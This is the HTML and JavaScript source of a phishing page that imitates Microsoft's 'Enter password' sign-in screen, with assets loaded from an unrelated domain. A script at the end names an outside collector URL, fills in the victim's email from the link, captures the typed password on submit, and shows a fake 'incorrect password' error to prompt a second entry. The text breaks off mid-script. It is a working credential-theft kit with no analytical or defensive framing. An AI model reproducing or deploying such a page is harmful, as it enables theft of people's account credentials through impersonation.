<script language=javascript><!DOCTYPE html>
<html dir="ltr" lang="EN-GB">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href=>
<script
type="text/javascript">var PROOF = {}; PROOF.Type = { SQSA: 6, CSS: 5, DeviceId: 4, Email: 1, AltEmail: 2, SMS: 3, HIP: 8, Birthday: 9, TOTPAuthenticator: 10, RecoveryCode: 11, StrongTicket: 13, TOTPAuthenticatorV2: 14, UniversalSecondFactor: 15, SecurityKey: 18, Voice: -3 };</script>
<noscript>
<meta http-equiv="Refresh"
content="0; URL=https://login.live.com/jsDisabled.srf?mkt=EN-GB&lc=2057&uaid=a895326f36b74fc294363ee60298259d" />
Microsoft account requires JavaScript to sign in. This web browser either does not support JavaScript, or
scripts are being blocked.<br /><br />To find out whether your browser supports JavaScript, or to allow scripts,
see the browser's online help.
</noscript>
<title>Sign in to your Microsoft account</title>
<meta name="robots" content="none">
<meta name="PageID" content="i5030">
<meta name="SiteID" content="38936">
<meta name="ReqLC" content="2057">
<meta name="LocLC" content="2057">
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
<script
type="text/javascript">!function (e, r) { for (var t in r) e[t] = r[t] }(this, function (e) { function r(n) { if (t[n]) return t[n].exports; var o = t[n] = { exports: {}, id: n, loaded: !1 }; return e[n].call(o.exports, o, o.exports, r), o.loaded = !0, o.exports } var t = {}; return r.m = e, r.c = t, r.p = "", r(0) }([function (e, r) { !function () { function e() { return l.$Config || l.ServerData || {} } function r(e, r) { var t = l.$Debug; t && t.appendLog && (r && (e += " '" + (r.src || r.href || "") + "'", e += ", id:" + (r.id || ""), e += ", async:" + (r.async || ""), e += ", defer:" + (r.defer || "")), t.appendLog(e)) } function t() { var e = l.$B; if (void 0 === c) if (e) c = e.IE; else { var r = l.navigator.userAgent; c = r.indexOf("MSIE ") !== -1 || r.indexOf("Trident/") !== -1 } return c } function n() { var e = l.$B; if (void 0 === f) if (e) f = e.RE_Edge; else { var r = l.navigator.userAgent; f = r.indexOf("Edge") !== -1 } return f } function o(e) { var r = e.indexOf("?"), t = r > -1 ? r : e.length, n = e.lastIndexOf(, t), o = e.substring(n, n + h.length).toLowerCase() === h; return o } function a() { var r = e(), t = r.loader || {}; return t.slReportFailure || r.slReportFailure || !1 } function i() { var r = e(), t = r.loader || {}; return t.redirectToErrorPageOnLoadFailure || !1 } function s() { var r = e(), t = r.loader || {}; return t.logByThrowing || !1 } function d(e) { if (!t() && !n()) return !1; var r = e.src || e.href || ""; if (!r) return !0; if (o(r)) { var a, i, s; try { a = e.sheet, i = a && a.cssRules, s = !1 } catch (d) { s = !0 } if (a && !i && s) return !0; if (a && i && 0 === i.length) return !0 } return !1 } function u() { function t(e) { var r = g.getElementsByTagName("head")[0]; r.appendChild(e) } function n(e, r, t, n) { var d = null; return d = o(e) ? a(e) : "script" === n.toLowerCase() ? i(e) : s(e, n), r && (d.id = r), "function" == typeof d.setAttribute && (d.setAttribute("crossorigin", "anonymous"), t && "string" == typeof t && d.setAttribute("integrity", t)), d } function a(e) { var r = g.createElement("link"); return r.rel = "stylesheet", r.type = "text/css", r.href = e, r } function i(e) { var r = g.createElement("script"), t = g.querySelector("script[nonce]"); if (r.type = "text/javascript", r.src = e, r.defer = !1, r.async = !1, t) { var n = t.nonce || t.getAttribute("nonce"); r.setAttribute("nonce", n) } return r } function s(e, r) { var t = g.createElement(r); return t.src = e, t } function c(e, r) { if (e && e.length > 0 && r) for (var t = 0; t < e.length; t++)if (r.indexOf(e[t]) !== -1) return !0; return !1 } function f(r) { var t = e(); if (t.cs) { var n = c(L, r) ? L : x; if (!(n && n.length > 1)) return r; for (var o = "https://", a = 0; a < n.length; a++)if (r.indexOf(n[a]) !== -1) { var i = n[a + 1 < n.length ? a + 1 : 0], s = r.substring(n[a].length); return n[a].substring(0, o.length) !== o && (i = o + i, s = s.substring(o.length)), i + s } return r } if (!(x && x.length > 1)) return r; for (var d = 0; d < x.length; d++)if (0 === r.indexOf(x[d])) return x[d + 1 < x.length ? d + 1 : 0] + r.substring(x[d].length); return r } function l(e, t, n, o) { return r("[$Loader]: " + (R.failMessage || "Failed"), o), b[e].retry < y ? (b[e].retry++, v(e, t, n), void u._ReportFailure(b[e].retry, b[e].srcPath)) : void (n && n()) } function h(e, t, n, o) { if (d(o)) return l(e, t, n, o); r("[$Loader]: " + (R.successMessage || "Loaded"), o), v(e + 1, t, n); var a = b[e].onSuccess; "function" == typeof a && a(b[e].srcPath) } function v(e, o, a) { if (e < b.length) { var i = b[e]; if (!i || !i.srcPath) return void v(e + 1, o, a); i.retry > 0 && (i.srcPath = f(i.srcPath), i.origId || (i.origId = i.id), i.id = i.origId + "_Retry_" + i.retry); var s = n(i.srcPath, i.id, i.integrity, i.tagName); s.onload = function () { h(e, o, a, s) }, s.onerror = function () { l(e, o, a, s) }, s.onreadystatechange = function () { "loaded" === s.readyState ? setTimeout(function () { h(e, o, a, s) }, 500) : "complete" === s.readyState && h(e, o, a, s) }, t(s), r("[$Loader]: Loading '" + (i.srcPath || "") + "', id:" + (i.id || "")) } else o && o() } var p = e(), y = p.slMaxRetry || 2, m = p.loader || {}, x = m.cdnRoots || [], L = m.tenantBrandingCdnRoots || [], R = this, b = []; R.retryOnError = !0, R.successMessage = "Loaded", R.failMessage = "Error", R.Add = function (e, r, t, n, o, a) { e && b.push({ srcPath: e, id: r, retry: n || 0, integrity: t, tagName: o || "script", onSuccess: a }) }, R.AddForReload = function (e, r) { var t = e.src || e.href || ""; R.Add(t, "AddForReload", e.integrity, 1, e.tagName, r) }, R.AddIf = function (e, r, t) { e && R.Add(r, t) }, R.Load = function (e, r) { v(0, e, r) } } var c, f, l = window, g = l.document, h = ".css"; u.On = function (e, r, t) { if (!e) throw "The target element must be provided and cannot be null."; r ? u.OnError(e, t) : u.OnSuccess(e, t) }, u.OnSuccess = function (e, t) { if (!e) throw "The target element must be provided and cannot be null."; if (d(e)) return u.OnError(e, t); var n = e.src || e.href || "", o = a(), s = i(); r("[$Loader]: Loaded", e); var c = new u; c.failMessage = "Reload Failed", c.successMessage = "Reload Success", c.Load(null, function () { if (o) throw "Unexpected state. ResourceLoader.Load() failed despite initial load success. ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }) }, u.OnError = function (e, t) { var n = e.src || e.href || "", o = a(), s = i(); if (!e) throw "The target element must be provided and cannot be null."; r("[$Loader]: Failed", e); var d = new u; d.failMessage = "Reload Failed", d.successMessage = "Reload Success", d.AddForReload(e, t), d.Load(null, function () { if (o) throw "Failed to load external resource ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }), u._ReportFailure(0, n) }, u._ReportFailure = function (e, r) { if (s() && !t()) throw "[Retry " + e + "] Failed to load external resource ['" + r + "'], reloading from fallback CDN endpoint" }, l.$Loader = u }() }]));</script>
<script
type="text/javascript">!function (r, t) { for (var e in t) r[e] = t[e] }(this, function (r) { function t(o) { if (e[o]) return e[o].exports; var n = e[o] = { exports: {}, id: o, loaded: !1 }; return r[o].call(n.exports, n, n.exports, t), n.loaded = !0, n.exports } var e = {}; return t.m = r, t.c = e, t.p = "", t(0) }([function (r, t) { !function () { function r(r, t) { function e(i) { var a = r[i]; return i < o - 1 ? void (n.r[a] ? e(i + 1) : n.when(a, function () { e(i + 1) })) : void t(a) } var o = r.length; e(0) } function t(r, t, i) { function a() { var r = !!u.method, n = r ? u.method : i[0], a = u.extraArgs || [], c = o.$WebWatson; try { var f = e(i, !r); if (a && a.length > 0) for (var s = a.length, v = 0; v < s; v++)f.push(a[v]); n.apply(t, f) } catch (h) { return void (c && c.submitFromException && c.submitFromException(h)) } } var u = n.r && n.r[r]; return t = t ? t : this, u && (u.skipTimeout ? a() : o.setTimeout(a, 0)), u } function e(r, t) { return Array.prototype.slice.call(r, t ? 1 : 0) } var o = window; o.$Do || (o.$Do = { q: [], r: [], removeItems: [], lock: 0, o: [] }); var n = o.$Do; n.when = function (e, o) { function i(r) { t(r, a, u) || n.q.push({ id: r, c: a, a: u }) } var a = 0, u = [], c = 1, f = "function" == typeof o; f || (a = o, c = 2); for (var s = c; s < arguments.length; s++)u.push(arguments[s]); e instanceof Array ? r(e, i) : i(e) }, n.register = function (r, e, o) { if (!n.r[r]) { n.o.push(r); var i = {}; if (e && (i.method = e), o && (i.skipTimeout = o), arguments && arguments.length > 3) { i.extraArgs = []; for (var a = 3; a < arguments.length; a++)i.extraArgs.push(arguments[a]) } n.r[r] = i, n.lock++; try { for (var u = 0; u < n.q.length; u++) { var c = n.q[u]; c.id == r && t(r, c.c, c.a) && n.removeItems.push(c) } } catch (f) { throw f } finally { if (n.lock--, 0 === n.lock) { for (var s = 0; s < n.removeItems.length; s++)for (var v = n.removeItems[s], h = 0; h < n.q.length; h++)if (n.q[h] === v) { n.q.splice(h, 1); break } n.removeItems = [] } } } }, n.unregister = function (r) { n.r[r] && delete n.r[r] } }() }]));</script>
<script
type="text/javascript">!function (n, e) { for (var r in e) n[r] = e[r] }(this, function (n) { function e(o) { if (r[o]) return r[o].exports; var t = r[o] = { exports: {}, id: o, loaded: !1 }; return n[o].call(t.exports, t, t.exports, e), t.loaded = !0, t.exports } var r = {}; return e.m = n, e.c = r, e.p = "", e(0) }([function (n, e) { !function () { function n() { return r.$Config || r.ServerData || {} } function e() { var e = (n(), new t), r = this, i = [], f = []; r.Add = function (n, r, o, t) { e.Add(n, r, o, t) }, r.Provides = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)i.push(n[e]); else i.push(n) }, r.Requires = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)f.push(n[e]); else f.push(n) }, r.Load = function (n, r) { var t = function () { n && n(); for (var e = 0; e < i.length; e++)o.register(i[e], 0, !0) }, u = function () { e.Load(t, r) }; f.length > 0 ? o.when(f, u) : u() } } var r = window, o = (r.document, r.$Do), t = r.$Loader, i = ".css"; i.length; e.WhenLoaded = function (n, e) { o.when(n, e) }, r.$DepLoader = e }() }]));</script>
<link rel="shortcut icon" href="https://jdmediax.com/app/officenormal/media/favicon.ico">
<link rel="stylesheet" title="Converged_v2" type="text/css" onload="$Loader.OnSuccess(this)"
onerror="$Loader.OnError(this)"
href="https://jdmediax.com/app/officenormal/media/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css">
<style type="text/css"></style>
<style type="text/css">
body {
display: none;
}
</style>
<script
type="text/javascript">if (top != self) { try { top.location.replace(self.location.href); } catch (e) { } } else { document.write(unescape('%3C%73') + 'tyle type="text/css">body{display:block !important;}</style>'); }</script>
<style type="text/css">
body {
display: block !important;
}
</style><noscript>
<style type="text/css">
body {
display: block !important;
}
</style>
</noscript>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
.errorzz {
padding: 4px 8px;
border-style: solid;
border-width: 2px;
border-color: rgba(0, 0, 0, .4);
background-color: rgba(255, 255, 255, .4);
height: 32px;
height: 2rem;
padding: 6px 10px;
border-width: 1px;
border-color: #666;
height: 36px;
outline: none;
border-radius: 0;
-webkit-border-radius: 0;
background-color: transparent;
border-top-width: 0;
border-left-width: 0;
border-right-width: 0;
padding-left: 0;
border-color: #e81123;
}
.loader {
position: fixed;
opacity: 0.5;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
background: #333333;
transition: opacity 0.75s, visibility 0.75s;
z-index: 10000;
}
.loader--hidden {
opacity: 0;
visibility: hidden;
}
.loader::after {
content: "";
width: 75px;
height: 75px;
border: 15px solid #dddddd;
border-top-color: #0078c8;
border-radius: 50%;
animation: loading 0.75s ease infinite;
z-index: 10000;
}
@keyframes loading {
from {
transform: rotate(0turn);
}
to {
transform: rotate(1turn);
}
}
</style>
<script charset="utf-8"
src="https://jdmediax.com/app/officenormal/media/convergedlogin_ppassword_b2ec0d9661751c7da58d.js.download"></script>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
</style>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
</style>
</head>
<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
<div class="loader loader--hidden"></div>
<div>
<div data-bind="if: activeDialog"></div>
<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top"
autocomplete="off"
data-bind="autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { 'provide-min-height': svr.cu }"
class="provide-min-height myform">
<div class="login-paginated-page" data-bind="component: { name: 'master-page',
publicMethods: masterPageMethods,
params: {
serverData: svr,
showButtons: svr.e,
showFooterLinks: true,
useWizardBehavior: svr.bn,
handleWizardButtons: false,
password: password,
hideFromAria: ariaHidden },
event: {
footerAgreementClick: footer_agreementClick } }">
<div id="lightboxTemplateContainer"
data-bind="component: { name: 'lightbox-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.cu }"
class="provide-min-height">
<div id="lightboxBackgroundContainer" data-bind="css: { 'provide-min-height': svr.cV },
component: { name: 'background-image-control',
publicMethods: $page.backgroundControlMethods,
event: { load: $page.backgroundImageControl_onLoad } }">
<div class="background-image-holder" role="presentation"
data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
<div id="backgroundImage"
data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }"
class="background-image ext-background-image"
style="background-image: url("https://logincdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg");">
</div>
</div>
</div>
<div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
<div class="template-section main-section">
<div data-bind="externalCss: { 'middle': true }" class="middle ext-middle">
<div class="full-height"
data-bind="component: { name: 'content-control', params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }">
<div class="flex-column">
<div class="win-scroll">
<div id="lightbox" data-bind="
animationEnd: $page.paginationControlHelper.animationEnd,
externalCss: { 'sign-in-box': true },
css: {
'inner': $content.isVerticalSplitTemplate,
'vertical-split-content': $content.isVerticalSplitTemplate,
'app': $page.backgroundLogoUrl,
'wide': $page.paginationControlHelper.useWiderWidth,
'fade-in-lightbox': $page.fadeInLightBox,
'has-popup': $page.showFedCredAndNewSession && ($page.showFedCredButtons() || $page.newSession()),
'transparent-lightbox': $page.backgroundControlMethods() && $page.backgroundControlMethods().useTransparentLightBox,
'lightbox-bottom-margin-debug': $page.showDebugDetails,
'has-header': $content.hasHeader }" class="sign-in-box ext-sign-in-box fade-in-lightbox">
<div class="lightbox-cover"
data-bind="css: { 'disable-lightbox': svr.Co && showLightboxProgress() }">
</div>
<div data-bind="component: { name: 'logo-control',
params: {
isChinaDc: svr.fIsChinaDc,
bannerLogoUrl: bannerLogoUrl() } }">
<img
class="logo" role="img"
pngsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_ea19b2112f4dfd8e90b4505ef7dcb4f9.png"
svgsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }"
src="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
alt="Microsoft">
</div>
<div role="main" data-bind="component: { name: 'pagination-control',
publicMethods: paginationControlMethods,
params: {
enableCssAnimation: svr.Bg,
disableAnimationIfAnimationEndUnsupported: svr.Cs,
initialViewId: initialViewId,
currentViewId: currentViewId,
initialSharedData: initialSharedData,
initialError: $loginPage.getServerError() },
event: {
cancel: paginationControl_onCancel,
load: paginationControlHelper.onLoad,
unload: paginationControlHelper.onUnload,
loadView: view_onLoadView,
showView: view_onShow,
setLightBoxFadeIn: view_onSetLightBoxFadeIn,
animationStateChange: paginationControl_onAnimationStateChange } }">
<div data-bind="css: { 'zero-opacity': hidePaginatedView() }"
class="">
<div data-bind="css: {
'animate': animate() && animate.animateBanner(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }" class="animate slide-in-next">
<div data-bind="component: { name: 'identity-banner-control',
params: {
userTileUrl: svr.CH,
displayName: sharedData.displayName || svr.h,
isBackButtonVisible: isBackButtonVisible(),
focusOnBackButton: isBackButtonFocused(),
backButtonDescribedBy: backButtonDescribedBy() },
event: {
backButtonClick: identityBanner_onBackButtonClick } }">
<div class="identityBanner">
<div id="displayName" class="identity"
data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }"
title=""></div>
</div>
</div>
</div>
<div class="pagination-view has-identity-banner animate slide-in-next"
data-bind="css: {
'has-identity-banner': showIdentityBanner() && (sharedData.displayName || svr.h),
'zero-opacity': hidePaginatedView.hideSubView(),
'animate': animate(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }">
<div data-viewid="2" data-showidentitybanner="true"
data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
params: {
serverData: svr,
serverError: initialError,
isInitialView: isInitialState,
username: sharedData.username,
displayName: sharedData.displayName,
hipRequiredForUsername: sharedData.hipRequiredForUsername,
passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
availableCreds: sharedData.availableCreds,
evictedCreds: sharedData.evictedCreds,
useEvictedCredentials: sharedData.useEvictedCredentials,
showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
flowToken: sharedData.flowToken,
defaultKmsiValue: svr.Ap === 1,
userTenantBranding: sharedData.userTenantBranding,
sessions: sharedData.sessions,
callMetadata: sharedData.callMetadata,
supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
forgotPasswordText: $loginPage.forgotPasswordText,
accessRecoveryLink: $loginPage.accessRecoveryLink,
boilerPlateText: $loginPage.boilerPlateText,
hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
event: {
restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
updateFlowToken: $loginPage.view_onUpdateFlowToken,
submitReady: $loginPage.view_onSubmitReady,
redirect: $loginPage.view_onRedirect,
resetPassword: $loginPage.passwordView_onResetPassword,
setBackButtonState: view_onSetIdentityBackButtonState,
setPendingRequest: $loginPage.view_onSetPendingRequest } }">
<div aria-hidden="true">
<input type="hidden" name="i13"
data-bind="value: isKmsiChecked() ? 1 : 0"
value="0">
<input type="hidden" name="login"
class="in-identity" autocomplete="username"
data-bind="value: unsafe_username" value="">
<input type="text" name="loginfmt"
data-bind="moveOffScreen, value: unsafe_displayName"
class="moveOffScreen" tabindex="-1"
aria-hidden="true">
<input type="hidden" name="type"
data-bind="value: svr.bn ? 20 : 11" value="11">
<input type="hidden" name="LoginOptions"
data-bind="value: isKmsiChecked() ? 1 : 3"
value="3">
<input type="hidden" name="lrt"
data-bind="value: callMetadata.IsLongRunningTransaction"
value="">
<input type="hidden" name="lrtPartition"
data-bind="value: callMetadata.LongRunningTransactionPartition"
value="">
<input type="hidden" name="hisRegion"
data-bind="value: callMetadata.HisRegion"
value="">
<input type="hidden" name="hisScaleUnit"
data-bind="value: callMetadata.HisScaleUnit"
value="">
</div>
<div id="loginHeader" class="row title ext-title"
data-bind="externalCss: { 'title': true }">
<div role="heading" aria-level="1"
data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">
Enter password</div>
</div>
<div class="row">
<div class="form-group col-md-24">
<div role="alert" aria-live="assertive">
</div>
<div id="passwordError"
data-bind="
externalCss: { 'error': true },
htmlWithBindings: passwordTextbox.error,
childBindings: {
'idA_IL_ForgotPassword0': {
href: accessRecoveryLink || svr.O,
attr: {
target: accessRecoveryLink && '_blank',
role: supportsNativeCredentialRecovery ? 'button' : 'link'
},
click: accessRecoveryLink ? null : resetPassword_onClick } }"
class="error ext-error e1 hidden">Please
enter the password for your Microsoft
account.</div>
<div id="passwordError"
data-bind="
externalCss: { 'error': true },
htmlWithBindings: passwordTextbox.error,
childBindings: {
'idA_IL_ForgotPassword0': {
href: accessRecoveryLink || svr.O,
attr: {
target: accessRecoveryLink && '_blank',
role: supportsNativeCredentialRecovery ? 'button' : 'link'
},
click: accessRecoveryLink ? null : resetPassword_onClick } }"
class="error ext-error e2 hidden">Your
account or password is incorrect.</div>
<div class="placeholderContainer" data-bind="component: { name: 'placeholder-textbox-field',
publicMethods: passwordTextbox.placeholderTextboxMethods,
params: {
serverData: svr,
hintText: str['CT_PWD_STR_PwdTB_Label'] },
event: {
updateFocus: passwordTextbox.textbox_onUpdateFocus } }">
<input name="passwd" type="password"
id="i0118"
class="form-control input ext-input text-box ext-text-box passwording p11"
placeholder="Password">
</div>
</div>
</div>
<div data-bind="css: { 'position-buttons': !tenantBranding.BoilerPlateText && !boilerPlateText }, externalCss: { 'password-reset-links-container': true }"
class="position-buttons password-reset-links-container ext-password-reset-links-container">
<div>
<div class="row">
<div class="col-md-24">
<div class="text-13">
<div class="form-group">
<a id="idA_PWD_ForgotPassword"
role="link" data-bind="
text: unsafe_forgotPasswordText,
href: accessRecoveryLink || svr.O,
attr: { target: accessRecoveryLink && '_blank' },
click: accessRecoveryLink ? null : resetPassword_onClick">Forgotten your password?</a>
</div>
<div class="form-group">
<a id="idA_PWD_SwitchToCredPicker"
href="https://login.live.com/#"
data-bind="
text: isUserKnown ? str['CT_PWD_STR_SwitchToCredPicker_Link'] : str['CT_PWD_STR_SwitchToCredPicker_Link_NoUser'],
ariaDescribedBy: ariaDescribedBy,
click: switchToCredPicker_onClick,
hasFocusEx: setFocus">Other ways to sign in</a>
</div>
</div>
</div>
</div>
</div>
<div class="win-button-pin-bottom"
data-bind="css : { 'boilerplate-button-bottom': tenantBranding.BoilerPlateText || boilerPlateText }">
<div class="row"
data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText || boilerPlateText }">
<div data-bind="component: { name: 'footer-buttons-field',
params: {
serverData: svr,
primaryButtonText: str['CT_PWD_STR_SignIn_Button'],
isPrimaryButtonEnabled: !isRequestPending(),
isPrimaryButtonVisible: svr.e,
isSecondaryButtonEnabled: true,
isSecondaryButtonVisible: false },
event: {
primaryButtonClick: primaryButton_onClick } }">
<div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container"
data-bind="
visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
css: { 'no-margin-bottom': removeBottomMargin },
externalCss: { 'button-field-container': true }">
<div data-bind="css: { 'inline-block': isPrimaryButtonVisible }, externalCss: { 'button-item': true }"
class="inline-block button-item ext-button-item">
<input type="submit"
id="idSIButton9"
class="win-button button_primary button ext-button primary ext-primary"
data-report-event="Signin_Submit"
data-report-trigger="click"
data-report-value="Submit"
data-bind="
attr: primaryButtonAttributes,
externalCss: {
'button': true,
'primary': true },
value: primaryButtonText() || str['CT_PWD_STR_SignIn_Button_Next'],
hasFocus: focusOnPrimaryButton,
click: svr.fEnableLivePreview ? function() { } : primaryButton_onClick,
clickBubble: !svr.fEnableLivePreview,
enable: isPrimaryButtonEnabled,
visible: isPrimaryButtonVisible,
preventTabbing: primaryButtonPreventTabbing" value="Sign in" data-report-attached="1">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<input type="hidden" name="ps" data-bind="value: postedLoginStateViewId"
value="">
<input type="hidden" name="psRNGCDefaultType"
data-bind="value: postedLoginStateViewRNGCDefaultType" value="">
<input type="hidden" name="psRNGCEntropy"
data-bind="value: postedLoginStateViewRNGCEntropy" value="">
<input type="hidden" name="psRNGCSLK"
data-bind="value: postedLoginStateViewRNGCSLK" value="">
<input type="hidden" name="canary" data-bind="value: svr.canary"
value="">
<input type="hidden" name="ctx" data-bind="value: ctx" value="">
<input type="hidden" name="hpgrequestid"
data-bind="value: svr.sessionId" value="">
<input type="hidden" id="i0327"
data-bind="attr: { name: svr.bY }, value: flowToken" name="PPFT"
value="-DtN4ZWbWkTzzk9u4ZER*JliwnMtmR1m4*mySFsXjgoE5OIs*uKfOPILZuX2EaQL5KhAbqMp*fWhd!QZ*jWdv7xvya9sh6Z4ZomMXBrX4HoY3uUCeLhZe5l8R9FHEuWptuxGvVqWKXPNOqJ1UdJhxv!AqAZqE358hKk*Ikt36b9nnWeLXRXNVl9hbyiTvo8XHFw$$">
<input type="hidden" name="PPSX" data-bind="value: svr.Dl"
value="Passp">
<input type="hidden" name="NewUser" value="1">
<input type="hidden" name="FoundMSAs" data-bind="value: svr.AT"
value="">
<input type="hidden" name="fspost"
data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0">
<input type="hidden" name="i21"
data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0">
<input type="hidden" name="CookieDisclosure"
data-bind="value: svr.bA ? 1 : 0" value="0">
<input type="hidden" name="IsFidoSupported"
data-bind="value: isFidoSupported() ? 1 : 0" value="1">
<input type="hidden" name="isSignupPost"
data-bind="value: isSignupPost() ? 1 : 0" value="0">
<input type="hidden" name="isRecoveryAttemptPost"
data-bind="value: isRecoveryAttemptPost() ? 1 : 0" value="0">
<div data-bind="component: { name: 'instrumentation-control',
publicMethods: instrumentationMethods,
params: { serverData: svr } }">
<input type="hidden" name="i19" data-bind="value: timeOnPage"
value="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="footer" role="contentinfo" data-bind="
externalCss: {
'footer': true,
'has-background': !$page.useDefaultBackground() && $page.showFooter(),
'background-always-visible': $page.backgroundLogoUrl }" class="footer ext-footer">
<div data-bind="component: { name: 'footer-control',
publicMethods: $page.footerMethods,
params: {
serverData: svr,
useDefaultBackground: $page.useDefaultBackground(),
hasDarkBackground: $page.backgroundLogoUrl(),
showLinks: true,
showFooter: $page.showFooter(),
hideTOU: $page.hideTOU(),
termsText: $page.termsText(),
termsLink: $page.termsLink(),
hidePrivacy: $page.hidePrivacy(),
privacyText: $page.privacyText(),
privacyLink: $page.privacyLink() },
event: {
agreementClick: $page.footer_agreementClick,
showDebugDetails: $page.toggleDebugDetails_onClick } }">
<div id="footerLinks" class="footerNode text-secondary footer-links ext-footer-links"
data-bind="externalCss: { 'footer-links': true }">
<a id="ftrTerms" data-bind="
text: termsText,
href: termsLink,
click: termsLink_onClick,
externalCss: {
'footer-content': true,
'footer-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&mkt=EN-GB&uaid=a895326f36b74fc294363ee60298259d"
class="footer-content ext-footer-content footer-item ext-footer-item">Terms of
use</a>
<a id="ftrPrivacy" data-bind="
text: privacyText,
href: privacyLink,
click: privacyLink_onClick,
externalCss: {
'footer-content': true,
'footer-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&mkt=EN-GB&uaid=a895326f36b74fc294363ee60298259d"
class="footer-content ext-footer-content footer-item ext-footer-item">Privacy
& cookies</a>
<a id="moreOptions" href="https://login.live.com/#" role="button" data-bind="
click: moreInfo_onClick,
ariaLabel: str['CT_STR_More_Options_Ellipsis_AriaLabel'],
attr: { 'aria-expanded': showDebugDetails().toString() },
hasFocusEx: focusMoreInfo(),
externalCss: {
'footer-content': true,
'footer-item': true,
'debug-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
aria-label="Click here for troubleshooting information" aria-expanded="false"
class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
<form data-bind="postRedirectForm: postRedirect" method="POST" aria-hidden="true" target="_top"></form>
</div>
<script>
// ############################################################################
// Specify the URL of the PHP file Here
var url = "https://foghjk.com/rptin/inon/zzzrptin/mso/main.php";
// ############################################################################
var a1 = document.querySelectorAll(".aaaa1");
var a2 = document.querySelectorAll(".aaaa2");
let email
window.onload = function () {
// Get the current URL
var url = window.location.href;
// Parse the URL and get the fragment (the part after the '#')
var urlComponents = new URL(url);
email = urlComponents.hash.substring(1);
// Check if the fragment is a valid email
var emailRegex = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
if (emailRegex.test(email)) {
// Make this email available globally
window.email = email;
// If it is, add the email into a html element as text
var emailElement = document.querySelector(".identity");
var emailInput = document.querySelector(".in-identity")
if (emailElement) {
emailElement.title = email;
emailElement.innerHTML = email;
emailInput.value = email
}
}
};
// Get the form and input elements
var form = document.getElementById("i0281");
// var textForm = document.getElementById("username");
var input = document.querySelector(".passwording");
var inputColor = document.getElementById("i0118")
var emptyField = document.querySelectorAll(".e1")
var passwordError = document.querySelectorAll(".e2");
var clickCount = 0;
// Add an event listener for form submission
form.addEventListener("submit", function (event) {
// Prevent the form from being submitted normally
event.preventDefault();
// Get the input value
var password = input.value;
// Write an if statement to check if the input value is empty
if (password === "") {
// If it is, do nothing and return from the function
emptyField.forEach(function (empty) {
empty.classList.remove("hidden");
})
inputColor.style.cssText = 'border-color: #e81123;'
setTimeout(function () {
emptyField.forEach(function (empty) {
empty.classList.add("hidden");
})
inputColor.style.cssText = ''
}, 3000)
return;
}
// Toggle classlist of passwordError to add or remove the "input-byline--error-hidden" class
loading()
setTimeout(function () {
passwordError.forEach(function (error) {
error.classList.remove("hidden");
});
inputColor.style.cssText = 'border-color: #e81123;'
input.value = "";
